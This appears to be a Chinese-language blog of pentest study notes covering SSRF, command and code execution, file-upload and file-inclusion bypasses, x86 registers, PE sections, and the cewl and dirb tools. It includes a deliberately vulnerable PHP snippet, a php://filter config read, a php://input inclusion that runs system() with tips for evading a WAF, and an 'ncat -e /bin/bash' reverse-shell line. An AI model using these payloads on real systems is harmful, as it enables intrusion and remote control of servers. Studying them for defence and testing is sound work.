SSRF

定义
原理
漏洞常见位置
  • 分享:通过URL地址分享网页内容
  • 转码服务
  • 在线翻译
  • 图片加载与下载:通过url地址加载或者下载图片
  • 图片、文章收藏功能
  • 未公开的api实现以及其他调用url的功能
  • 从URL关键字中寻找
    • share
    • wap
    • url
    • link
    • src
    • source
    • target
    • u
    • 3g
    • display
    • sourceURL
    • imageURL
    • domain
利用姿势
  1. http协议
    • 获取真实地址
    • 内网主机/端口探测
    • 攻击redis、memcache等
  2. file协议
    • 读取文件
  3. gopher协议

    • 读取文件
  4. www.xxx.com/test.php?image-http://服务器内网地址,如果存在内网地址返回状态码1xx和2xx,不存在就返回其他状态码

绕过
  1. ip换成域名
  2. IP换成10进制
  3. http://xxx.com@baidu.com
  4. 302跳转

参考https://www.t99ls.net/articles-41070.html

命令执行

命令执行
  1. & / && / | / ||
  2. 系统变量$(xx) and %xx%
命令执行函数
  • system: 执行一个外部的应用程序并显示输出的结果
  • exec:执行一个外部的应用程序
  • passthru:执行一个UNIX命令并显示原始的输出
  • shell_exec:执行shell命令并返回输出的结果的字符串

  • 动态代码执行:

    1
    2
    3
    4
    5
    6
    <?php
    $a=$_GET['a'];
    $b=$_GET['B'];
    $a($b);
    ?>
    http://127.0.0.1/test.php?a=system&b=ipconfig \\执行ipconfig
代码执行
  1. 表达式
    • freemarker
    • OGNL
    • Spel
    • jsel
  2. 非表达式
    • php
      • eval
      • assert
      • ststem()
      • exec()
      • shell_exec();
      • passthru()
      • escapeshellcmd()
      • pcntl_exec()
      • call_user_func()
      • call_user_func_array()
      • preg_replace()
      • create_function()
      • array_map()
      • array_filter()
      • usort()
      • uasort()
      • 反序列化
      • php源文件拼接写入
    • java
      • 反序列化
      • 远程jar加载
      • 反射机制
      • jsp源文件拼接写入
代码执行函数

文件操作

文件上传
  1. 字典生成
  2. %00截断
  3. 畸形文件名
    • windows
      • shell.php(%80-99%)
      • NTFS ADS特性
        • shell.php…..
        • shell.php::$Data
        • shell.php:a.jpg
  4. 目录穿越
  5. 文件头绕过
  6. 修改Content-Type
  7. 双文件上传
  8. 超长截断
    • 长文件名
    • 长Content-Disposition
  9. 特殊文件
    • 上传html、htm可以xss
    • swf可以xss
    • pdf在chrome可以做跳转
    • cer、asa、jspx、php5、phtml等可能被当成动态语言解析
    • .htaccess 、.user.ini 、web.config、web.xml等
  10. 无大小和次数限制(无限上传干掉硬盘)
  11. imagemagick命令执行
文件读取
  1. 读取系统敏感文件
  2. 直接包含php文件时php代码会被解析,不能看到源码,因此可以使用封装协议读取: ?page=php://filter/read=convert.base64-encode/resource=config.php
  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    ##### 文件包含 #####
    1. 本地文件包含
    2. 远程文件包含

    ##### 文件删除 #####

    1. 删除配置文件,破坏网站
    2. 删除安装锁,从新部署安装

    ###### 文件包含转为代码执行 ######

    + 文件存在包含漏洞的代码如``` <?php @include($_GET["file"])?>
  • 使用php://input, 构造url为 http://xxxx.com/fileinclude.hp?file=php://input

  • 同时使用post提交<?php system(‘ifconfig’);?>
  • 或者使用post提交system(‘ncat -e /bin/bash localhost 1234’);
  • 为了过狗,可以使用data:url格式

cpu中各个寄存器的作用

32位CPU
  • 数据寄存器
    • EAX : 可以用做返回值
      • AX:EAX的低16位
        • AH:AX的低八位,可以用作累加器
        • AL:AX的高八位,可以用作累加器
    • EBX:可以用作基址寄存器,在内存寻址中用作基地址,
      • BX:EBX的低16位,用作指针寄存器的时候搭配SI或者DI
    • ECX
      • CX:计数寄存器,在循环中控制循环次数
        • CH
        • CL:可以用作移位的位数
    • EDX
      • DX:在进行乘除运算时,可作为默认的操作数参与运算,也可以用于存放I/O的端口地址。
    • PS:在16位CPU中,AX、BX、CX和DX不能作为基址和变址寄存器来存放存储单元的地址,但在32位CPU中,其32位寄存器EAX、EBX、ECX和EDX不仅可传送数据、暂存数据保存算术逻辑运算结果,而且也可作为指针寄存器,所以,这些32位寄存器更具有通用性。
  • 变指和指针寄存器
    • ESI:用于存放存储单元在段内的偏移量,是源串地址
      • SI,和DS搭配使用
    • EDI:用于存放存储单元在段内的偏移量,是目的串地址
      • DI:和ES搭配使用
  • 指针寄存器
    • ESP:堆栈栈顶指针
      • SP:
    • EBP:基址针(堆栈栈底指针)
      • BP:可以搭配SI和DI
  • 段寄存器

    • CS(Code SegmentRegister):代码段寄存器,代码段的段值
    • SS(StackSegmentRegister):堆栈段寄存器,堆栈段的段值
    • DS(Data SegmentRegister):数据段寄存器,数据段的段值
    • FS(ExtraSegmentRegister): 附加段寄存器
    • GS(ExtraSegmentRegister): 附加段寄存器
    • ES(ExtraSegmentRegister): 附加段寄存器
  • 指令指针寄存器
    • EIP:是存放下次将要执行的指令在代码段的偏移量
  • 标志寄存器
    • EFLAGS
      • CF:进位和借位标志位
      • PF:奇偶标志位
      • AF:辅助进位标志位
      • ZF:零标志位
      • SF:符号标志位
      • OF:溢出标志位

PE信息

  • .text段。一般是代码段。
  • .data段。一般是数据段。
  • .rdata段。只读数据段。比如字符串。
  • .bss段。未初始化数据段。比如static变量,有时在函数内才初始化。
  • .idata。导入表。
  • .edata段。导出表信息。
  • .rsrc段。资源段。
  • .debug段。调试信息段。
  • .reloc段。基址重定位信息段,对于dll文件和sys文件是必须的,但是对于exe文件没有存在的必要性。
  • VC6程序:四个区段 .text 代码段 .rdata 导入表 .data 数据段 .rsrc 资源段
  • VS2008/2013:五个区段 .text 代码段 .rdata 导入表 .data 数据段 .rsrc 资源段 .reloc
  • 易语言:四个区段 .text 代码段 .rdata 导入表 .data 数据段 .rsrc 资源段
  • Delphi:八个区段CODE、DATA、BSS、.idata、.tls、.rdata、.reloc、.rsrc
  • VB程序:五个区段.text .data .idata .rsrc .reloc

cewl

example : cewl http://example.com -d 5 -w cewl.txt -v

通过爬取指定网站的页面来生成一份字典。

  • -d 指定爬取深度
  • -w 指定字典保存的文件名
  • -v 显示进度

dirb使用

dirb http://example:port /usr/share/dirb/wordlists/common.txt

一款神器的目录爆破工具,类似于御剑。鸟里面对应的目录下有很多字典,可以用的时候翻一下,说不定会有惊喜。

,